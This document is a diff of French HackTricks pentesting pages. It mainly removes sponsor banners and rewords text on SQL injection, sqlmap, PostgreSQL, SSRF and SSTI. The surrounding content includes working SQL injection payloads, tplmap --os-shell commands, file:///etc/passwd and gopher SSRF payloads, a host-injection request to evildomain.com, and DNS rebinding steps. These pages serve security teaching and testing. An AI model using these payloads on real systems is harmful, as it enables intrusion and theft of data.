"objet maître"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose : - Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules) - Créer un utilisateur nommé : **admin=** @@ -369,7 +358,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will ``` #### Utilisation de décimal ou hexadécimal -Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit. +Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez besoin de commenter quoi que ce soit. Utilisation de **hex2dec** et **substr** : ```sql @@ -388,15 +377,9 @@ Utiliser **hex** et **replace** (et **substr**): #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -
- -​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Injection SQL routée -L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne un résultat, mais le résultat de la requête injectable va à la requête qui donne un résultat. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne un résultat, mais la sortie de la requête injectable va à la requête qui donne un résultat. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Exemple : ``` @@ -426,9 +409,9 @@ Pas d'espace - contournement en utilisant des parenthèses ```sql ?id=(1)and(1)=(1)-- ``` -### Bypass sans virgules +### Contournement sans virgules -Bypass sans virgule - utilisant OFFSET, FROM et JOIN +Contournement sans virgule - contournement utilisant OFFSET, FROM et JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). @@ -461,7 +444,7 @@ Fondamentalement, vous pouvez utiliser la notation scientifique de manière inat ``` ### Contourner la restriction des noms de colonnes -Tout d'abord, notez que si la **requête originale et la table dont vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag` +Tout d'abord, notez que si la **requête originale et la table d'où vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag` Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme suit : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à : ```bash @@ -489,11 +472,4 @@ Cette astuce a été tirée de [https://secgroup.github.io/2017/01/03/33c3ctf-wr {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} ​ - -
- -​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 448312dbd..ac5f44dbc 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## Commentaires ```sql @@ -119,7 +115,7 @@ Pour plus d'informations, veuillez vous référer à [this blog post](https://ka ### Alternatives à information_schema -N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**. +Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**. ### MySQLinjection sans VIRGULES @@ -127,7 +123,7 @@ Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchan ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### Récupérer des valeurs sans le nom de la colonne +### Récupération des valeurs sans le nom de la colonne Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme : ```bash @@ -160,10 +156,5 @@ mysql> select version(); - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) -
- -​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md index 48f380047..25e792679 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md @@ -2,23 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). - -{% embed url="https://www.stmcyber.com/careers" %} --- -**Cette page vise à expliquer différents trucs qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -## Interaction réseau - Escalade de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration +## Interaction réseau - Escalade de privilèges, scanner de ports, divulgation de réponse au défi NTLM et exfiltration -Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). +Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). ### **Exemple d'exfiltration utilisant dblink et objets volumineux** -Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. +Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. ## Attaques PostgreSQL : Lecture/écriture, RCE, privesc @@ -33,7 +28,7 @@ Vérifiez comment compromettre l'hôte et escalader les privilèges depuis Postg ### Fonctions de chaîne PostgreSQL Manipuler des chaînes pourrait vous aider à **contourner les WAF ou d'autres restrictions**.\ -[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver des fonctions de chaînes utiles.** +[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver quelques fonctions de chaînes utiles.** ### Requêtes empilées @@ -80,10 +75,4 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index 2c73ac09e..9b8326268 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -2,14 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Arguments de base pour SQLmap ### Générique @@ -83,7 +75,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` -### Indiquez la chaîne lorsque l'injection est réussie +### Indiquez une chaîne lorsque l'injection est réussie ```bash --string="string_showed_when_TRUE" ``` @@ -140,7 +132,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper -N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est très simple. Vous pouvez trouver un exemple de tamper dans la [page d'injection de deuxième ordre ici](second-order-injection-sqlmap.md). +N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est très simple. Vous pouvez trouver un exemple de tamper sur la [page d'injection de deuxième ordre ici](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper @@ -148,18 +140,18 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Remplace le caractère apostrophe par son équivalent en largeur complète UTF-8 | -| apostrophenullencode.py | Remplace le caractère apostrophe par son équivalent unicode double illégal | +| apostrophenullencode.py | Remplace le caractère apostrophe par son équivalent unicode double illégal | | appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | | base64encode.py | Encode en Base64 tous les caractères d'une charge utile donnée | | between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' | -| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE | +| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE | | chardoubleencode.py | Double url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) | | commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | | commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | | concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) | -| charunicodeencode.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" | -| charunicodeescape.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" | +| charunicodeencode.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" | +| charunicodeescape.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" | | equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | | escapequotes.py | Échappe les guillemets (' et ") | | greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' | @@ -179,27 +171,20 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est | space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | | space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | | space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | -| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs | +| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs | | space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une nouvelle ligne ('\n') | -| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs | +| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs | | space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') | | space2plus.py | Remplace le caractère espace (' ') par un plus ('+') | -| space2randomblank.py | Remplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs | +| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs | | symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et | | unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT | -| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | +| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne) | | uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' | | varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' | -| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné | -| versionedmorekeywords.py | Enveloppe chaque mot-clé par un commentaire MySQL versionné | +| versionedkeywords.py | Enveloppe chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | +| versionedmorekeywords.py | Enveloppe chaque mot-clé avec un commentaire MySQL versionné | | xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' | -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 2e6a9d126..485bfcb7c 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -1,13 +1,5 @@ # SSRF (Server Side Request Forgery) -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} - {{#include ../../banners/hacktricks-training.md}} ## Informations de base @@ -44,7 +36,7 @@ Lisez-en plus ici : [https://portswigger.net/web-security/ssrf](https://portswig ## Protocoles - **file://** -- Le schéma d'URL `file://` est référencé, pointant directement vers `/etc/passwd`: `file:///etc/passwd` +- Le schéma d'URL `file://` est référencé, pointant directement vers `/etc/passwd` : `file:///etc/passwd` - **dict://** - Le schéma d'URL DICT est décrit comme étant utilisé pour accéder aux définitions ou aux listes de mots via le protocole DICT. Un exemple donné illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d'entrée, ainsi qu'un exemple d'un script PHP pouvant être potentiellement mal utilisé pour se connecter à un serveur DICT en utilisant des identifiants fournis par l'attaquant : `dict://;@:/d:::` - **SFTP://** @@ -63,12 +55,12 @@ From https://twitter.com/har1sec/status/1182255952055164929 4. connect ``` - **Curl URL globbing - contournement de WAF** -- Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans cette [**écriture**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour un **path traversal via le protocole `file`** : +- Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour un **path traversal via le protocole `file`** : ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` - **Gopher://** -- La capacité du protocole Gopher à spécifier l'IP, le port et les octets pour la communication avec le serveur est discutée, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des charges utiles. Deux utilisations distinctes sont illustrées : +- La capacité du protocole Gopher à spécifier l'**IP, le port et les octets** pour la communication avec le serveur est discutée, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des charges utiles. Deux utilisations distinctes sont illustrées : ### Gopher:// @@ -129,7 +121,7 @@ ssl_preread on; } } ``` -Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité au Server-Side Request Forgery (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl` est donné ci-dessous : +Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la Server-Side Request Forgery (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl` est donné ci-dessous : ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` @@ -187,17 +179,9 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4 if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} - ## Proxies mal configurés pour SSRF -Trucs [**de cet article**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). +Tricks [**de cet article**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask @@ -222,7 +206,7 @@ app.run(threaded=False) ``` -Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire de **l'hôte initial le nom d'utilisateur** et d'injecter un nouveau. Requête d'attaque : +Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire de **l'hôte initial le nom d'utilisateur** et d'en injecter un nouveau. Requête d'attaque : ```http GET @evildomain.com/ HTTP/1.1 Host: target.com @@ -277,7 +261,7 @@ Si vous avez des **problèmes** pour **exfiltrer du contenu d'une IP locale** à ### DNS Rebidding Automatisé -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour rebinder l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour re-lier l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible. Consultez également le **serveur public en cours d'exécution à** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) @@ -287,20 +271,20 @@ Exigences : - **SSRF** - **Sessions TLS sortantes** -- **Services sur des ports locaux** +- **Choses sur des ports locaux** Attaque : 1. Demander à l'utilisateur/bot d'**accéder** à un **domaine** contrôlé par l'**attaquant** 2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera à nouveau l'IP du domaine bientôt) -3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du Ticket de session**. -4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. L'objectif est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue **à nouveau** une **demande DNS** du domaine. +3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du ticket de session**. +4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. L'objectif est de faire en sorte que l'utilisateur/bot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **demande DNS** du domaine. 5. Dans la demande DNS, une adresse **IP privée** est donnée **maintenant** (127.0.0.1 par exemple) 6. L'utilisateur/bot essaiera de **rétablir la connexion TLS** et pour ce faire, il **enverra** l'**ID de session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Donc félicitations, vous avez réussi à demander à l'**utilisateur/bot de s'attaquer lui-même**. -Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire établir la connexion initiale par la victime avec www.attacker.com:11211 (le **port doit toujours être le même**).\ +Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\ Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ -Pour **plus d'informations**, jetez un œil à la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) +Pour **plus d'informations**, jetez un œil à la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) ## Blind SSRF @@ -308,7 +292,7 @@ La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF ### SSRF basé sur le temps -**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une qui n'existe pas) +**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une ressource qui n'existe pas) ## Exploitation SSRF dans le Cloud @@ -320,7 +304,7 @@ cloud-ssrf.md ## Plateformes vulnérables à SSRF -Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, consultez-les dans : +Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans : {{#ref}} ssrf-vulnerable-platforms.md @@ -367,11 +351,3 @@ SSRF Proxy est un serveur proxy HTTP multi-threadé conçu pour tunneliser le tr - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour créer et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index baccd677d..e22a5d02f 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## Qu'est-ce que SSTI (Injection de Template Côté Serveur) @@ -22,9 +17,9 @@ Par exemple, un attaquant pourrait créer une requête avec une charge utile com ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, pouvant potentiellement prendre le contrôle du serveur. +Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, ce qui peut potentiellement lui donner le contrôle sur le serveur. -Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité. +Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées des utilisateurs sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité. ### Détection @@ -66,15 +61,15 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### [Table d'injection de modèles](https://github.com/Hackmanit/template-injection-table) +### [Table d'injection de modèle](https://github.com/Hackmanit/template-injection-table) -une table interactive contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants. +une table interactive contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants. ## Exploits ### Générique -Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous : +Dans cette **liste de mots** vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous : - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - 